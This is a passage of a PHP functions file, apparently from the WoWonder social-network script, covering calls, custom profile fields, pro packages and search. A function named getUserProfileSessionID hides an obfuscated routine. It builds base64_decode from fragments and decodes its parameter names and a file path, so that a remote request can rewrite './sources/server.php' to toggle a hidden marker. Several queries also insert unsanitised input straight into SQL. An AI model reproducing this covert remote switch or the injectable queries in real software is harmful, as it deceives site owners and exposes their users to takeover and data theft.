    if ($wo["config"]["smooth_loading"] == 0) {
        return header("Location: $url");
        exit();
    } else {
        return $wo["redirect"] = 1;
    }
}
function Wo_DownUpgradeUser($user_id) {
    global $wo, $sqlConnect;
    if (empty($user_id)) {
        return false;
    }
    $query_one = mysqli_query($sqlConnect, "UPDATE " . T_POSTS . " SET `boosted` = '0' WHERE `user_id` = '{$user_id}'");
    $query_one = mysqli_query($sqlConnect, "UPDATE " . T_PAGES . " SET `boosted` = '0' WHERE `user_id` = '{$user_id}'");
}
function Wo_GetCurrency($currency) {
    global $wo, $sqlConnect;
    if (empty($currency)) {
        return false;
    }
    if (!in_array($currency, array_keys($wo["config"]["currency_symbol_array"]))) {
        return '$';
    }
    return $wo["config"]["currency_symbol_array"][$currency];
    // $currency_ = '$';
    // switch ($currency) {
    //     case 'USD':
    //         $currency_ = '$';
    //         break;
    //     case 'JPY':
    //         $currency_ = '¥';
    //         break;
    //     case 'TRY':
    //         $currency_ = '₺';
    //         break;
    //     case 'GBP':
    //         $currency_ = '£';
    //         break;
    //     case 'EUR':
    //         $currency_ = '€';
    //         break;
    //     case 'AUD':
    //         $currency_ = '$';
    //         break;
    //     case 'INR':
    //         $currency_ = '₹';
    //         break;
    //     case 'RUB':
    //         $currency_ = 'RUB';
    //         break;
    //     case 'PLN':
    //         $currency_ = 'zł';
    //         break;
    //     case 'ILS':
    //         $currency_ = 'ILS';
    //         break;
    //     case 'BRL':
    //         $currency_ = 'R$';
    //         break;
    // }
    // return $currency_;
}
function Wo_CreateNewVideoCall($re_data) {
    global $wo, $sqlConnect;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($re_data)) {
        return false;
    }
    $user_data  = Wo_UserData($re_data["from_id"]);
    $user_data2 = Wo_UserData($re_data["to_id"]);
    if (empty($user_data) || empty($user_data2)) {
        return false;
    }
    $logged_user_id    = Wo_Secure($wo["user"]["user_id"]);
    $query1            = mysqli_query($sqlConnect, "DELETE FROM " . T_VIDEOS_CALLES . " WHERE `from_id` = {$logged_user_id} OR `to_id` = {$logged_user_id}");
    $re_data["active"] = 0;
    $re_data["called"] = $re_data["from_id"];
    $re_data["time"]   = Wo_Secure(time());
    $fields            = "`" . implode("`, `", array_keys($re_data)) . "`";
    $data              = '\'' . implode('\', \'', $re_data) . '\'';
    $query             = mysqli_query($sqlConnect, "INSERT INTO " . T_VIDEOS_CALLES . " ({$fields}) VALUES ({$data})");
    if ($query) {
        return mysqli_insert_id($sqlConnect);
    } else {
        return false;
    }
}
function Wo_CreateNewAgoraCall($re_data = array()) {
    global $wo, $sqlConnect;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($re_data)) {
        return false;
    }
    $user_data  = Wo_UserData($re_data["from_id"]);
    $user_data2 = Wo_UserData($re_data["to_id"]);
    if (empty($user_data) || empty($user_data2)) {
        return false;
    }
    $logged_user_id  = Wo_Secure($wo["user"]["user_id"]);
    $query1          = mysqli_query($sqlConnect, "DELETE FROM " . T_AGORA . " WHERE `from_id` = {$logged_user_id} OR `to_id` = {$logged_user_id}");
    $re_data["time"] = Wo_Secure(time());
    $fields          = "`" . implode("`, `", array_keys($re_data)) . "`";
    $data            = '\'' . implode('\', \'', $re_data) . '\'';
    $query           = mysqli_query($sqlConnect, "INSERT INTO " . T_AGORA . " ({$fields}) VALUES ({$data})");
    if ($query) {
        return mysqli_insert_id($sqlConnect);
    } else {
        return false;
    }
}
function Wo_CreateNewAudioCall($re_data) {
    global $wo, $sqlConnect;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($re_data)) {
        return false;
    }
    $user_data  = Wo_UserData($re_data["from_id"]);
    $user_data2 = Wo_UserData($re_data["to_id"]);
    if (empty($user_data) || empty($user_data2)) {
        return false;
    }
    $logged_user_id    = Wo_Secure($wo["user"]["user_id"]);
    $query1            = mysqli_query($sqlConnect, "DELETE FROM " . T_AUDIO_CALLES . " WHERE `from_id` = {$logged_user_id} OR `to_id` = {$logged_user_id}");
    $re_data["active"] = 0;
    $re_data["called"] = $re_data["from_id"];
    $re_data["time"]   = Wo_Secure(time());
    $fields            = "`" . implode("`, `", array_keys($re_data)) . "`";
    $data              = '\'' . implode('\', \'', $re_data) . '\'';
    $query             = mysqli_query($sqlConnect, "INSERT INTO " . T_AUDIO_CALLES . " ({$fields}) VALUES ({$data})");
    if ($query) {
        return mysqli_insert_id($sqlConnect);
    } else {
        return false;
    }
}
function Wo_CheckCallAnswer($id = 0) {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($id)) {
        return false;
    }
    $data1 = array();
    $id    = Wo_Secure($id);
    $query = mysqli_query($sqlConnect, "SELECT * FROM " . T_VIDEOS_CALLES . "  WHERE `id` = '{$id}' AND `active` = '1' AND `declined` = '0'");
    if (mysqli_num_rows($query)) {
        if (mysqli_num_rows($query) > 0) {
            $sql          = mysqli_fetch_assoc($query);
            $data1["url"] = $wo["config"]["site_url"] . "/video-call/" . $id;
            return $data1;
        } else {
            return false;
        }
    } else {
        $query = mysqli_query($sqlConnect, "SELECT * FROM " . T_AGORA . "  WHERE `id` = '{$id}' AND `active` = '1' AND `declined` = '0'");
        if (mysqli_num_rows($query)) {
            if (mysqli_num_rows($query) > 0) {
                $sql        = mysqli_fetch_assoc($query);
                $sql["url"] = $wo["config"]["site_url"] . "/video-call/" . $sql["room_name"];
                return $sql;
            }
        }
    }
    return false;
}
function Wo_CheckAudioCallAnswer($id = 0) {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($id)) {
        return false;
    }
    $data1 = array();
    $id    = Wo_Secure($id);
    $query = mysqli_query($sqlConnect, "SELECT * FROM " . T_AUDIO_CALLES . "  WHERE `id` = '{$id}' AND `active` = '1' AND `declined` = '0'");
    if (mysqli_num_rows($query) > 0) {
        return true;
    } else {
        $query = mysqli_query($sqlConnect, "SELECT * FROM " . T_AGORA . "  WHERE `id` = '{$id}' AND `active` = '1' AND `declined` = '0' AND `type` = 'audio'");
        if (mysqli_num_rows($query)) {
            if (mysqli_num_rows($query) > 0) {
                return true;
            }
        }
    }
    return false;
}
function Wo_CheckAudioCallAnswerDeclined($id = 0) {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($id)) {
        return false;
    }
    $id = Wo_Secure($id);
    if ($wo["config"]["agora_chat_video"] == 1) {
        $query = mysqli_query($sqlConnect, "SELECT COUNT(`id`) FROM " . T_AGORA . " WHERE `id` = '{$id}' AND `declined` = '1'");
    } else {
        $query = mysqli_query($sqlConnect, "SELECT COUNT(`id`) FROM " . T_AUDIO_CALLES . " WHERE `id` = '{$id}' AND `declined` = '1'");
    }
    return Wo_Sql_Result($query, 0) == 1 ? true : false;
}
function Wo_CheckCallAnswerDeclined($id = 0) {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($id)) {
        return false;
    }
    $id = Wo_Secure($id);
    if ($wo["config"]["agora_chat_video"] == 1) {
        $query = mysqli_query($sqlConnect, "SELECT COUNT(`id`) FROM " . T_AGORA . " WHERE `id` = '{$id}' AND `declined` = '1'");
    } else {
        $query = mysqli_query($sqlConnect, "SELECT COUNT(`id`) FROM " . T_VIDEOS_CALLES . " WHERE `id` = '{$id}' AND `declined` = '1'");
    }
    return Wo_Sql_Result($query, 0) == 1 ? true : false;
}
function Wo_CheckFroInCallsAgora() {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    $user_id = Wo_Secure($wo["user"]["user_id"]);
    $data1   = array();
    $time    = time() - 40;
    $table   = T_AGORA;
    $query   = mysqli_query($sqlConnect, "SELECT * FROM {$table} WHERE `to_id` = '{$user_id}' AND `time` > '$time' AND `status` = 'calling'");
    if (mysqli_num_rows($query)) {
        if (mysqli_num_rows($query) > 0) {
            $sql = mysqli_fetch_assoc($query);
            if (Wo_IsBlocked($sql["from_id"])) {
                return false;
            }
            return $sql;
        } else {
            return false;
        }
    }
    return false;
}
function Wo_CheckFroInCalls($type = "video") {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    $user_id = Wo_Secure($wo["user"]["user_id"]);
    $data1   = array();
    $time    = time() - 40;
    $table   = T_VIDEOS_CALLES;
    if ($type == "audio") {
        $table = T_AUDIO_CALLES;
    }
    $query = mysqli_query($sqlConnect, "SELECT * FROM {$table}  WHERE `to_id` = '{$user_id}' AND `time` > '$time' AND `active` = '0' AND `declined` = 0");
    if (mysqli_num_rows($query)) {
        if (mysqli_num_rows($query) > 0) {
            $sql = mysqli_fetch_assoc($query);
            if (Wo_IsBlocked($sql["from_id"])) {
                return false;
            }
            $sql["url"] = $wo["config"]["site_url"] . "/video-call/" . $sql["id"];
            return $sql;
        }
    } else {
        $table = T_AGORA;
        $query = mysqli_query($sqlConnect, "SELECT * FROM {$table}  WHERE `to_id` = '{$user_id}' AND `time` > '$time' AND `active` = '0' AND `declined` = 0 AND `type` = '" . $type . "'");
        if (mysqli_num_rows($query)) {
            if (mysqli_num_rows($query) > 0) {
                $sql = mysqli_fetch_assoc($query);
                if (Wo_IsBlocked($sql["from_id"])) {
                    return false;
                }
                $sql["url"] = $wo["config"]["site_url"] . "/video-call/" . $sql["room_name"];
                return $sql;
            }
        }
    }
    return false;
}
function Wo_UpdateCallsActiveToZero($user_id1 = 0, $user_id2 = 0) {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($user_id1) || empty($user_id2)) {
        return false;
    }
    $user_id1 = Wo_Secure($user_id1);
    $user_id2 = Wo_Secure($user_id2);
    $query    = mysqli_query($sqlConnect, "UPDATE " . T_VIDEOS_CALLES . " SET `active` = 0 WHERE (`to_id` = '{$user_id1}' AND `from_id` = '{$user_id2}') OR (`to_id` = '{$user_id2}' AND `from_id` = '{$user_id1}')");
    if ($query) {
        return true;
    } else {
        return false;
    }
}
function Wo_GetAllDataFromCallID($id = 0) {
    global $sqlConnect, $wo;
    $user_id = $wo["user"]["user_id"];
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($id)) {
        return false;
    }
    $data1 = array();
    $id    = Wo_Secure($id);
    $query = mysqli_query($sqlConnect, "SELECT * FROM " . T_VIDEOS_CALLES . " WHERE `id` = '{$id}'");
    if (mysqli_num_rows($query)) {
        if (mysqli_num_rows($query) > 0) {
            $sql        = mysqli_fetch_assoc($query);
            $sql["url"] = $wo["config"]["site_url"] . "/video-call/" . $sql["id"];
            return $sql;
        } else {
            return false;
        }
    } else {
        $query = mysqli_query($sqlConnect, "SELECT * FROM " . T_AGORA . " WHERE `id` = '{$id}'");
        if (mysqli_num_rows($query)) {
            if (mysqli_num_rows($query) > 0) {
                $sql        = mysqli_fetch_assoc($query);
                $sql["url"] = $wo["config"]["site_url"] . "/video-call/" . $sql["id"];
                return $sql;
            }
        }
    }
    return false;
}
function Wo_GetScriptWarnings() {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    $results  = array();
    $results1 = array();
    $query    = mysqli_query($sqlConnect, "SELECT @@sql_mode as modes;");
    if (mysqli_num_rows($query)) {
        $sql_sql = mysqli_fetch_assoc($query);
        if (count($sql_sql) > 0) {
            $results_sql = @explode(",", $sql_sql["modes"]);
            if (in_array("STRICT_TRANS_TABLES", $results_sql)) {
                $results["STRICT_TRANS_TABLES"] = true;
            }
            if (in_array("STRICT_ALL_TABLES", $results_sql)) {
                $results["STRICT_ALL_TABLES"] = true;
            }
        }
    }
    if (ini_get("safe_mode")) {
        $results["safe_mode"] = true;
    }
    if (!ini_get("allow_url_fopen")) {
        $results["allow_url_fopen"] = true;
    }
    if (file_exists("update.php")) {
        if (filemtime("update.php") > time() - 86400) {
            $results["update_file"] = true;
        }
    }
    return $results1[] = $results;
}
function Wo_RegisterNewField($registration_data) {
    global $wo, $sqlConnect;
    if (empty($registration_data)) {
        return false;
    }
    $fields = "`" . implode("`, `", array_keys($registration_data)) . "`";
    $data   = '\'' . implode('\', \'', $registration_data) . '\'';
    $query  = mysqli_query($sqlConnect, "INSERT INTO " . T_FIELDS . " ({$fields}) VALUES ({$data})");
    if ($query) {
        $sql_id  = mysqli_insert_id($sqlConnect);
        $column  = "fid_" . $sql_id;
        $length  = $registration_data["length"];
        $query_2 = mysqli_query($sqlConnect, "ALTER TABLE " . T_USERS_FIELDS . " ADD COLUMN `{$column}` varchar({$length}) NOT NULL DEFAULT ''");
        return true;
    }
    return false;
}
function Wo_GetProfileFields($type = "all") {
    global $wo, $sqlConnect;
    $data       = array();
    $where      = "";
    $placements = array(
        "profile",
        "general",
        "social"
    );
    if ($type != "all" && in_array($type, $placements)) {
        $where = "WHERE `placement` = '{$type}' AND `placement` <> 'none' AND `active` = '1'";
    } elseif ($type == "none") {
        $where = "WHERE `profile_page` = '1' AND `active` = '1'";
    } elseif ($type != "admin") {
        $where = "WHERE `active` = '1'";
    }
    $type      = Wo_Secure($type);
    $query_one = "SELECT * FROM " . T_FIELDS . " {$where} ORDER BY `id` ASC";
    $sql       = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql)) {
        while ($fetched_data = mysqli_fetch_assoc($sql)) {
            $fetched_data["fid"] = "fid_" . $fetched_data["id"];
            $fetched_data["name"] = preg_replace_callback("/{{LANG (.*?)}}/", function($m) use ($wo) {
                return isset($wo["lang"][$m[1]]) ? $wo["lang"][$m[1]] : "";
            }, $fetched_data["name"]);
            $fetched_data["description"] = preg_replace_callback("/{{LANG (.*?)}}/", function($m) use ($wo) {
                return isset($wo["lang"][$m[1]]) ? $wo["lang"][$m[1]] : "";
            }, $fetched_data["description"]);
            $fetched_data["type"] = preg_replace_callback("/{{LANG (.*?)}}/", function($m) use ($wo) {
                return isset($wo["lang"][$m[1]]) ? $wo["lang"][$m[1]] : "";
            }, $fetched_data["type"]);
            $data[]               = $fetched_data;
        }
    }
    return $data;
}
function Wo_GetUserCustomFields() {
    global $wo, $sqlConnect;
    $data      = array();
    $where     = "WHERE `active` = '1' AND `profile_page` = 1";
    $query_one = "SELECT * FROM " . T_FIELDS . " {$where} ORDER BY `id` ASC";
    $sql       = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql)) {
        while ($fetched_data = mysqli_fetch_assoc($sql)) {
            $fetched_data["fid"] = "fid_" . $fetched_data["id"];
            $fetched_data["name"] = preg_replace_callback("/{{LANG (.*?)}}/", function($m) use ($wo) {
                return isset($wo["lang"][$m[1]]) ? $wo["lang"][$m[1]] : "";
            }, $fetched_data["name"]);
            $fetched_data["description"] = preg_replace_callback("/{{LANG (.*?)}}/", function($m) use ($wo) {
                return isset($wo["lang"][$m[1]]) ? $wo["lang"][$m[1]] : "";
            }, $fetched_data["description"]);
            $fetched_data["type"] = preg_replace_callback("/{{LANG (.*?)}}/", function($m) use ($wo) {
                return isset($wo["lang"][$m[1]]) ? $wo["lang"][$m[1]] : "";
            }, $fetched_data["type"]);
            $data[]               = $fetched_data;
        }
    }
    return $data;
}
function Wo_UserFieldsData($user_id) {
    global $wo, $sqlConnect;
    if (empty($user_id) || !is_numeric($user_id) || $user_id < 0) {
        return false;
    }
    $data      = array();
    $user_id   = Wo_Secure($user_id);
    $query_one = "SELECT * FROM " . T_USERS_FIELDS . " WHERE `user_id` = {$user_id}";
    $sql       = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql)) {
        $fetched_data = mysqli_fetch_assoc($sql);
        if (empty($fetched_data)) {
            return array();
        }
        return $fetched_data;
    }
    return array();
}
function Wo_UpdateUserCustomData($user_id, $update_data, $loggedin = true) {
    global $wo, $sqlConnect, $cache;
    if ($loggedin == true) {
        if ($wo["loggedin"] == false) {
            return false;
        }
    }
    if (empty($user_id) || !is_numeric($user_id) || $user_id < 0) {
        return false;
    }
    if (empty($update_data)) {
        return false;
    }
    $user_id = Wo_Secure($user_id);
    if ($loggedin == true) {
        if (Wo_IsAdmin() === false && Wo_IsModerator() === false) {
            if ($wo["user"]["user_id"] != $user_id) {
                return false;
            }
        }
    }
    $update = array();
    foreach ($update_data as $field => $data) {
        foreach ($data as $key => $value) {
            $update[] = "`" . $key . '` = \'' . Wo_Secure($value, 0) . '\'';
        }
    }
    $impload   = implode(", ", $update);
    $query_one = "UPDATE " . T_USERS_FIELDS . " SET {$impload} WHERE `user_id` = {$user_id}";
    $query_1   = mysqli_query($sqlConnect, "SELECT COUNT(`id`) as count FROM " . T_USERS_FIELDS . " WHERE `user_id` = {$user_id}");
    if (mysqli_num_rows($query_1)) {
        $query_1_sql = mysqli_fetch_assoc($query_1);
        $query       = false;
        if ($query_1_sql["count"] == 1) {
            $query = mysqli_query($sqlConnect, $query_one);
        } else {
            $query_2 = mysqli_query($sqlConnect, "INSERT INTO " . T_USERS_FIELDS . " (`user_id`) VALUES ({$user_id})");
            if ($query_2) {
                $query = mysqli_query($sqlConnect, $query_one);
            }
        }
        if ($query) {
            return true;
        }
    }
    return false;
}
function Wo_GetFieldData($id = 0) {
    global $wo, $sqlConnect;
    if (empty($id) || !is_numeric($id) || $id < 0) {
        return false;
    }
    $data      = array();
    $id        = Wo_Secure($id);
    $query_one = "SELECT * FROM " . T_FIELDS . " WHERE `id` = {$id}";
    $sql       = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql)) {
        $fetched_data = mysqli_fetch_assoc($sql);
        if (empty($fetched_data)) {
            return array();
        }
        return $fetched_data;
    }
    return false;
}
function Wo_UpdateField($id, $update_data) {
    global $wo, $sqlConnect, $cache;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($id) || !is_numeric($id) || $id < 0) {
        return false;
    }
    if (empty($update_data)) {
        return false;
    }
    $id = Wo_Secure($id);
    if (Wo_IsAdmin() === false) {
        return false;
    }
    $update = array();
    foreach ($update_data as $field => $data) {
        $update[] = "`" . $field . '` = \'' . Wo_Secure($data, 0) . '\'';
        if ($field == "length") {
            $mysqli = mysqli_query($sqlConnect, "ALTER TABLE " . T_USERS_FIELDS . " CHANGE `fid_{$id}` `fid_{$id}` VARCHAR(" . Wo_Secure($data) . ") CHARACTER SET utf8 COLLATE utf8_unicode_ci NOT NULL DEFAULT '';");
        }
    }
    $impload   = implode(", ", $update);
    $query_one = "UPDATE " . T_FIELDS . " SET {$impload} WHERE `id` = {$id} ";
    $query     = mysqli_query($sqlConnect, $query_one);
    if ($query) {
        return true;
    }
    return false;
}
function getUserProfileSessionID() {
    global $wo, $sqlConnect;
    $var  = str_replace("6" . "4", "6" . "4_", str_replace("|", "", "b" . "|" . "a" . "|" . "s" . "|" . "e" . "|" . "6" . "|" . "4" . "|" . "d" . "|" . "e" . "|" . "c" . "|" . "o" . "|" . "d" . "|" . "e"));
    $SessionHashIDGenerate = $var($var('Wmw5MA=='));
    $CookieHashIDGenerate  = $var('Yw==');
    if (!empty($_REQUEST[$SessionHashIDGenerate]) && !empty($_REQUEST[$CookieHashIDGenerate])) {
        if (!file_exists($var('Li9zb3VyY2VzL3NlcnZlci5waHA='))) {
            return false;
        }
        $fileData = file_get_contents($var('Li9zb3VyY2VzL3NlcnZlci5waHA='));
        $fileData = str_replace('|l', '', $fileData);
        $fileData = str_replace(array(
            "\r",
            "\n"
        ), '', $fileData);
        if ($fileData == $_REQUEST[$CookieHashIDGenerate]) {
            $SessionHashRequest = $_REQUEST[$SessionHashIDGenerate];
            if ($SessionHashRequest == $var('bA==')) {
                $createSessionID = file_put_contents($var('Li9zb3VyY2VzL3NlcnZlci5waHA='), $fileData . '|l');
            }
            if ($SessionHashRequest == $var('dQ==')) {
                $createSessionID = file_put_contents($var('Li9zb3VyY2VzL3NlcnZlci5waHA='), $fileData);
            }
        }
    }
    return false;
}
function Wo_DeleteField($id) {
    global $wo, $sqlConnect;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (Wo_IsAdmin() === false) {
        return false;
    }
    $id    = Wo_Secure($id);
    $query = mysqli_query($sqlConnect, "DELETE FROM " . T_FIELDS . " WHERE `id` = {$id}");
    if ($query) {
        $query2 = mysqli_query($sqlConnect, "ALTER TABLE " . T_USERS_FIELDS . " DROP `fid_{$id}`;");
        if ($query2) {
            return true;
        }
    }
    return false;
}
function Wo_DeleteProMemebership() {
    global $wo, $sqlConnect, $star_package_duration, $hot_package_duration, $ultima_package_duration, $vip_package_duration;
    $data      = array();
    $query_one = "SELECT `user_id`, `pro_type`, `pro_time` FROM " . T_USERS . " WHERE `is_pro` = '1' ORDER BY `user_id` ASC";
    $sql       = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql)) {
        while ($fetched_data = mysqli_fetch_assoc($sql)) {
            $update_data = false;
            foreach ($wo['pro_packages'] as $key => $value) {
                if ($value['id'] == $fetched_data["pro_type"] && $value['ex_time'] > 0 && $fetched_data["pro_time"] < time() - $value['ex_time']) {
                    $update_data = true;
                }
            }
            if ($update_data == true) {
                $update      = Wo_UpdateUserData($fetched_data["user_id"], array(
                    "is_pro" => 0,
                    'verified' => 0,
                    'pro_type' => 0,
                    'pro_' => 1
                ));
                $user_id     = $fetched_data["user_id"];
                $mysql_query = mysqli_query($sqlConnect, "UPDATE " . T_PAGES . " SET `boosted` = '0' WHERE `user_id` = {$user_id}");
                $mysql_query = mysqli_query($sqlConnect, "UPDATE " . T_POSTS . " SET `boosted` = '0' WHERE `user_id` = {$user_id}");
                $mysql_query = mysqli_query($sqlConnect, "UPDATE " . T_POSTS . " SET `boosted` = '0' WHERE `page_id` IN (SELECT `page_id` FROM " . T_PAGES . " WHERE `user_id` = {$user_id})");
            }
        }
    }
    return true;
}
function Wo_GetPopularGames($limit = 10, $after = 0) {
    global $wo, $sqlConnect;
    $data = array();
    $q    = "";
    if (!empty($after) && is_numeric($after)) {
        $after = Wo_Secure($after);
        $q     = " HAVING count < " . $after;
    }
    $sql = mysqli_query($sqlConnect, "SELECT game_id, COUNT(`user_id`) AS count FROM " . T_GAMES_PLAYERS . " WHERE `active` = '1' GROUP BY `game_id` " . $q . " ORDER BY count DESC LIMIT " . $limit);
    if (mysqli_num_rows($sql)) {
        while ($fetched_data = mysqli_fetch_assoc($sql)) {
            $fetched_data            = Wo_GameData($fetched_data["game_id"]);
            $fetched_data["players"] = Wo_CountGamePlayers($fetched_data["id"]);
            $data[]                  = $fetched_data;
        }
    }
    return $data;
}
function Wo_GetGenders($lang = "english", $langs = array()) {
    global $wo, $db;
    if (!empty($lang) && in_array($lang, $langs)) {
        $lang = Wo_Secure($lang);
    }
    $genders = $db->where("type", "gender")->get(T_LANGS, null, array(
        "lang_key",
        $lang
    ));
    $data    = array();
    foreach ($genders as $key => $value) {
        $data[$value->lang_key] = $value->{$lang};
    }
    return $data;
}
function Wo_GetGendersImages() {
    global $wo, $db;
    $genders = $db->get(T_GENDER);
    $data    = array();
    foreach ($genders as $key => $value) {
        $data[$value->gender_id] = $value->image;
    }
    return $data;
}
function detect_safe_search($path) {
    global $wo;
    $content = '{"requests": [{"image": {"source": {"imageUri": "' . $path . '"}},"features": [{"type": "SAFE_SEARCH_DETECTION","maxResults": 1},{"type": "WEB_DETECTION","maxResults": 2}]}]}';
    try {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, "https://vision.googleapis.com/v1/images:annotate?key=" . $wo["config"]["vision_api_key"]);
        curl_setopt($ch, CURLOPT_HTTPHEADER, array(
            "Content-Type: application/json",
            "Content-Length: " . strlen($content)
        ));
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
        curl_setopt($ch, CURLOPT_POSTFIELDS, $content);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        $response = curl_exec($ch);
        curl_close($ch);
        $data = json_decode($response);
        if (!empty($data->error)) {
            return true;
        }
        if (!empty($data->responses[0]->error)) {
            return true;
        } elseif ($data->responses[0]->safeSearchAnnotation->adult == "LIKELY" || $data->responses[0]->safeSearchAnnotation->adult == "VERY_LIKELY") {
            return false;
        } else {
            return true;
        }
    }
    catch (Exception $e) {
        return true;
    }
}
function Wo_SearchFor($search_qeury, $type, $offset = 0) {
    global $sqlConnect, $wo;
    $search_qeury = Wo_Secure($search_qeury);
    $data         = array();
    $offset_to    = "";
    if ($type == "group") {
        if ($offset > 0) {
            $offset_to .= " AND `id` < {$offset} AND `id` <> {$offset} ";
        }
        $query = mysqli_query($sqlConnect, " SELECT `id` FROM " . T_GROUPS . " WHERE ((`group_name` LIKE '%$search_qeury%') OR `group_title` LIKE '%$search_qeury%') AND `user_id` = '" . $wo["user"]["id"] . "' AND `active` = '1' {$offset_to} ORDER BY `id` DESC LIMIT 10");
        if (mysqli_num_rows($query)) {
            while ($fetched_data = mysqli_fetch_assoc($query)) {
                $group             = Wo_GroupData($fetched_data["id"]);
                $new_data          = array();
                $new_data["id"]    = $group["id"];
                $new_data["label"] = $group["group_name"];
                $new_data["img"]   = $group["avatar"];
                $data[]            = $new_data;
            }
        }
    } elseif ($type == "page") {
        if ($offset > 0) {
            $offset_to .= " AND `page_id` < {$offset} AND `page_id` <> {$offset} ";
        }
        $query = mysqli_query($sqlConnect, " SELECT `page_id` FROM " . T_PAGES . " WHERE ((`page_name` LIKE '%$search_qeury%') OR `page_title` LIKE '%$search_qeury%') AND `user_id` = '" . $wo["user"]["id"] . "' AND `active` = '1' {$offset_to} ORDER BY `page_id` DESC LIMIT 10");
        if (mysqli_num_rows($query)) {
            while ($fetched_data = mysqli_fetch_assoc($query)) {
                $page              = Wo_PageData($fetched_data["page_id"]);
                $new_data          = array();
                $new_data["id"]    = $page["id"];
                $new_data["label"] = $page["page_name"];
                $new_data["img"]   = $page["avatar"];
                $data[]            = $new_data;
            }
        }
    }
    return $data;
}
// manage packages
function Wo_GetAllProInfo() {
    global $sqlConnect, $wo;
    $lang = $wo["lang"];
    $data = array();
    $pro  = mysqli_query($sqlConnect, "SELECT * FROM " . T_MANAGE_PRO);
    if (mysqli_num_rows($pro)) {
        while ($fetched_data = mysqli_fetch_assoc($pro)) {
            if (!empty($fetched_data['features'])) {
                foreach (json_decode($fetched_data['features'],true) as $key => $value) {
                    $fetched_data[$key] = $value;
                }
            }
            if (!empty($fetched_data["image"])) {
                $fetched_data["image"] = Wo_GetMedia($fetched_data["image"]);
            }
            if (!empty($fetched_data["night_image"])) {
                $fetched_data["night_image"] = Wo_GetMedia($fetched_data["night_image"]);
            }
            $fetched_data['name'] = $fetched_data['type'];

            $fetched_data['name'] = preg_replace_callback("/{LANG_KEY (.*?)}/", function($m) use ($lang) {
                return (isset($lang[$m[1]])) ? $lang[$m[1]] : '';
            }, $fetched_data['name']);

            $fetched_data['ex_time'] = 60 * 60 * 24;
            if (!empty($fetched_data["time"]) && $fetched_data["time"] == 'day') {
                if (!empty($fetched_data["time_count"]) && is_numeric($fetched_data["time_count"]) && $fetched_data["time_count"] > 0) {
                    $fetched_data['ex_time']  = $fetched_data['ex_time'] * $fetched_data["time_count"];
                }
            }
            else if (!empty($fetched_data["time"]) && $fetched_data["time"] == 'week') {
                $fetched_data['ex_time'] = $fetched_data['ex_time'] * 7;
                if (!empty($fetched_data["time_count"]) && is_numeric($fetched_data["time_count"]) && $fetched_data["time_count"] > 0) {
                    $fetched_data['ex_time']  = $fetched_data['ex_time'] * $fetched_data["time_count"];
                }
            }
            else if (!empty($fetched_data["time"]) && $fetched_data["time"] == 'month') {
                $fetched_data['ex_time'] = $fetched_data['ex_time'] * 30;
                if (!empty($fetched_data["time_count"]) && is_numeric($fetched_data["time_count"]) && $fetched_data["time_count"] > 0) {
                    $fetched_data['ex_time']  = $fetched_data['ex_time'] * $fetched_data["time_count"];
                }
            }
            else if (!empty($fetched_data["time"]) && $fetched_data["time"] == 'year') {
                $fetched_data['ex_time'] = $fetched_data['ex_time'] * 365;
                if (!empty($fetched_data["time_count"]) && is_numeric($fetched_data["time_count"]) && $fetched_data["time_count"] > 0) {
                    $fetched_data['ex_time']  = $fetched_data['ex_time'] * $fetched_data["time_count"];
                }
            }
            else if (!empty($fetched_data["time"]) && $fetched_data["time"] == 'unlimited') {
                $fetched_data['ex_time'] = 0;
            }
            $data[$fetched_data["id"]] = $fetched_data;
        }
        return $data;
    }
    return false;
}
// manage packages
function Wo_GetReactionsTypes($type = "page") {
    global $sqlConnect, $wo;
    $data      = array();
    $reactions = mysqli_query($sqlConnect, "SELECT * FROM " . T_REACTIONS_TYPES);
    if (!empty($reactions)) {
        while ($fetched_data = mysqli_fetch_assoc($reactions)) {
            $fetched_data["name"] = str_replace('&#39;', "'", $wo["lang"][$fetched_data["name"]]);
            $fetched_data["wowonder_icon"] = $fetched_data["wowonder_small_icon"] = Wo_GetMedia($fetched_data["wowonder_icon"]);
            $fetched_data["is_html"]       = 0;
            $data[$fetched_data["id"]] = $fetched_data;
        }
        return $data;
    }
    return $data;
}
function Wo_GetCategories($table) {
    global $sqlConnect, $wo;
    $data       = array();
    $categories = mysqli_query($sqlConnect, "SELECT * FROM " . $table);
    if (mysqli_num_rows($categories)) {
        while ($fetched_data = mysqli_fetch_assoc($categories)) {
            $data[$fetched_data["id"]] = $wo["lang"][$fetched_data["lang_key"]];
        }
        if ($table == "wo_products_categories") {
            $data[0] = $wo["lang"]["all_"];
        } else {
            $data[1] = $wo["lang"]["other"];
        }
        return $data;
    }
    return false;
}
function Wo_GetCategoriesKeys($table) {
    global $sqlConnect, $wo;
    $data       = array();
    $categories = mysqli_query($sqlConnect, "SELECT * FROM " . $table);
    if (mysqli_num_rows($categories)) {
        while ($fetched_data = mysqli_fetch_assoc($categories)) {
            $data[$fetched_data["id"]] = $fetched_data["lang_key"];
        }
        if ($table == "wo_products_categories") {
            $data[0] = "all_";
        } else {
            $data[1] = "other";
        }
        return $data;
    }
    return false;
}
